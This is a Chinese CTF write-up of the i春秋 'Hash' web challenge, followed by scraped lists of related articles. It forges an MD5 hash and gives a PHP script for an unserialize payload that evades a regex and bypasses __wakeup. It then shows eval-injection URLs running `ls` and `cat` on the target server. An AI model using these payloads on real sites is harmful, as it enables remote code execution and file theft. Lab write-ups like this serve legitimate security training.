i春秋Hash
打开题目页面是一个超链接
先查看源码得到一段信息

没什么,这只是超链接跳转的信息
点击跳转到下一个界面

提示我们如果我们的传入不是123,123也就是key了,在上面的url就可以看到
如果key!=123我们就能得到flag
然后后面是一段隐藏的信息,需要查看源码才看得到
<!--$hash=md5($sign.$key);the length of $sign is 8
告诉我们hash等于sign.key的md5加密,然后sign的长度是8
题目中给了一段key与hash的例子
key=123&hash=f9109d5f83921a551cf859f853afe7bb
先对hash md5解密一下试试
解出来是kkkkkk01123
取其前8位就是kkkkkk01,所以这里的sign=kkkkkk01然后key=123
很简单嘛,直接修改了就,让key=111然后sign还是等于kkkkkk01,构造hash=md5(kkkkkk01111)
adaa10eef3a02754da03b5a3a6f40ae6(注意,这里是32位的md5加密)
构造出url
访问之,提示我们next step is Gu3ss_m3_h2h2.php
不多说,直接访问试试

一段php代码
看看源码有没有什么遗漏的
(。。。。。应该没有)
审计代码
先定义了一个demo类然后是一个if语句,如果存在GET传入的var就执行,再定义变量var等于base64解密的GET[‘var’],然后一个正则表达式,如果匹配就输出stop hacking,此外就将var反序列化,此外高亮文件Gu3ss_m3_h2h2.php
再看他的demo类
先是定义私有变量file让它指定一个文件
然后再定义一个共有函数,让其this变量指向file的值等于file
再定义函数__destruct(),让其输出高亮的文件。。。也就是我们看到的
然后又定义一个函数,如果this_file指向的文件不是这个就让其等于这个
最后还有一句注释,这秘密在f15g_1s_here.php
大概意思懂了,url处通过请求访问Gu3ss_m3_h2h2.php文件,如果不是这个文件名的访问则会自动访问这个Gu3ss_m3_h2h2.php文件,但是秘密又在另一个文件中,而且我们不能hack这个网页
。。。。。。。
想想只需要绕过就行了吧
我们这里就写个脚本来加密下f15g_1s_here.php来绕过它
<?phpclass Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}}$a = new Demo('f15g_1s_here.php');$s = serialize($a);echo $s;echo '<br>';$s = str_replace('O:4', 'O:+4',$s);//绕过正则$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数echo base64_encode($s);//最后base64编码?>
本地运行即可得到我们需要传入的值
TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ== 构造url
成功进入下一步

再审计,如果存在GET传入的val就令变量val等于其,然后eval一段内容,内容具体组成是value的值连上val的addslashes转义字符串再连上;组成
很明显了,这里就要我们利用eval()来获取到flag
先试试f15g_1s_here.php?val=${eval("echo 'ls' ;")}
发现页面没有显示了就。。。。看来不能这样用,因为上面的提示中提到了addslashes转义,它会将我们的’”都进行转义所以就不能这么构造eval指令
这里使用url的GET传值来避免val中的’ls’被转义构造payload:
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;

查看到所有文件,再cat查看
Payload:
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;
页面也没有回显,查看源码得到flag

i春秋Hash的更多相关文章
- [i春秋]“百度杯”CTF比赛 十月场-Hash
前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash 如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...
- i春秋DMZ大型靶场实验(四)Hash基础
下载工具包 打开目标机 通过目录爆破发现 phpmyadmin 在登录位置尝试注入 返现 可以注入 直接上sqlmap 上 bp 代理抓包 sqlmap.py -r bp.txt ...
- 复杂的 Hash 函数组合有意义吗?
很久以前看到一篇文章,讲某个大网站储存用户口令时,会经过十分复杂的处理.怎么个复杂记不得了,大概就是先 Hash,结果加上一些特殊字符再 Hash,结果再加上些字符.再倒序.再怎么怎么的.再 Hash ...
- 对抗密码破解 —— Web 前端慢 Hash
(更新:https://www.cnblogs.com/index-html/p/frontend_kdf.html ) 0x00 前言 天下武功,唯快不破.但在密码学中则不同.算法越快,越容易破. ...
- 散列表(hash table)——算法导论(13)
1. 引言 许多应用都需要动态集合结构,它至少需要支持Insert,search和delete字典操作.散列表(hash table)是实现字典操作的一种有效的数据结构. 2. 直接寻址表 在介绍散列 ...
- hash表长度优化证明
hash表冲突的解决方法一般有两个方向: 一个是倾向于空间换时间,使用向量加链表可以最大程度的在节省空间的前提下解决冲突. 另外一个倾向于时间换空间,下面是关于这种思路的一种合适表长度的证明过程: 这 ...
- SQL Server-聚焦查询计划Stream Aggregate VS Hash Match Aggregate(二十)
前言 之前系列中在查询计划中一直出现Stream Aggregate,当时也只是做了基本了解,对于查询计划中出现的操作,我们都需要去详细研究下,只有这样才能对查询计划执行的每一步操作都了如指掌,所以才 ...
- C# salt+hash 加密
一.先明确几个基本概念 1.伪随机数:pseudo-random number generators ,简称为:PRNGs,是计算机利用一定的算法来产生的.伪随机数并不是假随机 数,这里的" ...
- SQL 提示介绍 hash/merge/concat union
查询提示一直是个很有争议的东西,因为他影响了sql server 自己选择执行计划.很多人在问是否应该使用查询提示的时候一般会被告知慎用或不要使用...但是个人认为善用提示在不修改语句的条件下,是常用 ...
- 对一致性Hash算法,Java代码实现的深入研究
一致性Hash算法 关于一致性Hash算法,在我之前的博文中已经有多次提到了,MemCache超详细解读一文中"一致性Hash算法"部分,对于为什么要使用一致性Hash算法.一致性 ...
随机推荐
- KingbaseES R6 集群主机锁冲突导致的主备切换案例
案例说明: 主库在业务高峰期间,客户执行建表等DDL操作,主库产生"AccessExclusiveLock "锁,导致大量的事务产生锁冲突,大量的会话堆积,客户端session ...
- centos7部署Prometheus+Grafana
一.安装Prometheus Server 请从 Prometheus 官方下载 linux 版的二进制压缩包.注意在下载前要选择操作系统为 linux. 执行下面的命令把 prometheus se ...
- 璞华PLM为全场景产品生命周期管理赋能,助力产品主线的企业数字化转型
英文版的<产品生命周期管理(PLM)软件市场--增长.趋势.COVID-19影响和预测(2022 - 2027)>中对未来PLM市场概述的描述为:"产品生命周期管理(PLM)软件 ...
- Kubernetes 监控--Alertmanager
前面我们学习 Prometheus 的时候了解到 Prometheus 包含一个报警模块,就是我们的 AlertManager,Alertmanager 主要用于接收 Prometheus 发送的告警 ...
- MongoDB分片集群-Sharded Cluster
分片概念 分片(sharding)是一种跨多台机器分布数据的方法, MongoDB使用分片来支持具有非常大的数据集和高吞吐量操作的部署. 换句话说:分片(sharding)是指将数据拆分,将其分散存在 ...
- 【前端必会】webpack 插件,前进路绕不过的障碍
背景 webpack的使用中我们会遇到各种各样的插件.loader. webpack的功力主要体现在能理解各个插件.loader的数量上.理解的越多功力越深 开始 https://webpack.do ...
- 基于雪花算法的增强版ID生成器
sequence 基于雪花算法的增强版ID生成器 解决了时间回拨的问题 无需手动指定workId, 微服务环境自适应 可配置化 快速开始 依赖引入 <dependency> <gro ...
- .NET周报【10月第2期 2022-10-17】
主题 宣布 .NET 7 发布候选版本 2 - .NET Blog https://devblogs.microsoft.com/dotnet/announcing-dotnet-7-rc-2/ .N ...
- sentinel的四种流控规则介绍
sentinel的四种流控规则介绍 今天的内容我们主要围绕四个点进行展开介绍. 流控模式 :关联.链路 流控效果 :Warm Up.排队等待 这四点具体是什么意思呢? 首先启动项目:cloud-ali ...
- DQL-模糊查询
DQL-模糊查询 模糊查询即模糊检索,是指搜索系统自动按照用户输入关键词的同义词进行模糊检索,从而得出较多的检索结果.与之相反的是"精准搜索".模糊检索也可以说是同义词检索,这里的 ...